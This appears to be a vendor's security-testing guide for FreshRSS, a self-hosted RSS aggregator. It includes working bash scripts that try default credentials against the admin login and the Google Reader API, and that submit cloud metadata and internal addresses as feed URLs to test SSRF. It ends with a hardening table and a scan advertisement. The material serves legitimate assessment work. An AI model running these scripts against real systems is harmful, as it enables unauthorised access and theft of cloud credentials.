FreshRSS Security Testing: Default Credentials, API Token, Feed Import SSRF, and OPML Exposure

FreshRSS is one of the most widely deployed self-hosted RSS aggregators, used in home labs and small organizations as a privacy-respecting alternative to cloud RSS services. Its security assessment covers: FreshRSS's admin interface at /i/ is configured during installation with a username and password — weak passwords set for convenience in home lab deployments are commonly unchanged; FreshRSS provides a Google Reader-compatible API at /api/greader.php and a Fever-compatible API that both authenticate via HTTP Basic Auth using the FreshRSS username and API password — Fever API tokens are stored in p/api_key.txt on the server filesystem; FreshRSS's core feed subscription function makes outbound HTTP requests from the server to fetch RSS feed content — submitting an internal network URL as a feed address (e.g., http://169.254.169.254/latest/meta-data/) causes the FreshRSS server to make requests to internal services; the OPML export feature generates a file containing all subscribed feed URLs which may reveal internal service addresses, authenticated feed URLs with credentials, or private subscription patterns; and multi-user FreshRSS deployments with sharing features enabled may allow reading articles across user accounts. This guide covers systematic FreshRSS security assessment.

Table of Contents

  1. Default Credential Testing
  2. Feed Import SSRF
  3. API Token Security
  4. FreshRSS Security Hardening

Default Credential Testing

# FreshRSS admin interface at /i/ — test weak credentials
FRESHRSS_URL="https://rss.example.com"

# Test common weak credentials
for CREDS in "admin:admin" "admin:password" "admin:freshrss" "user:password"; do
  USER="${CREDS%%:*}"
  PASS="${CREDS##*:}"
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${FRESHRSS_URL}/i/" \
    --data-urlencode "username=${USER}" \
    --data-urlencode "password=${PASS}" \
    -d "action=login" \
    -c /tmp/freshrss_cookies.txt \
    -L 2>/dev/null)
  # After successful login, check if we land on the feed page
  FEED_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${FRESHRSS_URL}/i/?c=reader" \
    -b /tmp/freshrss_cookies.txt 2>/dev/null)
  if [ "$FEED_STATUS" = "200" ]; then
    echo "AUTHENTICATED: ${USER}:${PASS}"
    break
  fi
done

# Test Google Reader API authentication
curl -s "${FRESHRSS_URL}/api/greader.php/accounts/ClientLogin" \
  -d "Email=admin&Passwd=admin&service=reader" 2>/dev/null | head -5

Feed Import SSRF

# FreshRSS feed subscription triggers server-side HTTP request to the feed URL
# Submit internal network URLs as feed addresses

FRESHRSS_URL="https://rss.example.com"
SESSION_COOKIE="your-freshrss-session"

# Test SSRF via feed subscription — submit internal URLs as RSS feeds
# The FreshRSS server will make an outbound HTTP request to these URLs
SSRF_TARGETS=(
  "http://169.254.169.254/latest/meta-data/"           # AWS instance metadata
  "http://metadata.google.internal/computeMetadata/v1/" # GCP metadata
  "http://169.254.169.254/metadata/instance"            # Azure metadata
  "http://10.0.0.1/"                                    # Default gateway
  "http://localhost:8080/"                              # Internal services
  "http://127.0.0.1:5432/"                              # PostgreSQL
  "http://127.0.0.1:6379/"                              # Redis
)

for TARGET in "${SSRF_TARGETS[@]}"; do
  echo "Testing SSRF via feed: ${TARGET}"
  # Submit as a new subscription — FreshRSS will attempt to fetch the URL
  curl -s -X POST "${FRESHRSS_URL}/i/?c=subscription&a=add" \
    -b "${SESSION_COOKIE}" \
    -d "url=${TARGET}" 2>/dev/null | grep -i "error\|success\|feed" | head -3
done

FreshRSS Security Hardening

FreshRSS Security Hardening Checklist:
Security TestMethodRisk
Weak admin credentials on /i/ loginPOST /i/?c=user&a=login with common passwords — session cookie gives full FreshRSS management including adding/removing feeds and usersHigh
Feed subscription URL SSRFSubscribe to internal URL — FreshRSS server fetches the URL, enabling access to cloud metadata (AWS/GCP/Azure IMDS) and internal network servicesHigh
Fever API token in p/api_key.txtDirect HTTP access to /p/api_key.txt if web server not configured to block the directory — reveals Fever API authentication tokenHigh
Google Reader API Basic Auth credential testingPOST /api/greader.php/accounts/ClientLogin — brute force username/password combinations for API accessMedium
OPML export revealing subscription patternsAuthenticated GET /i/?c=subscription&a=opml_export — reveals all subscribed feed URLs including any with embedded credentials or internal addressesMedium
Anonymous read access when allow_anonymous=trueGET /i/?c=reader without session cookie — unauthenticated access to all articles in public feedsMedium

Automate FreshRSS Security Testing

Ironimo tests FreshRSS deployments for weak admin credentials on the /i/ login interface, feed subscription SSRF causing the server to make outbound HTTP requests to internal network services and cloud metadata endpoints, Fever API token exposure via the p/api_key.txt file when the data directory is web-accessible, Google Reader API Basic Auth brute force, OPML export revealing subscribed URLs including any with embedded credentials, and anonymous read access when allow_anonymous is misconfigured.

Start free scan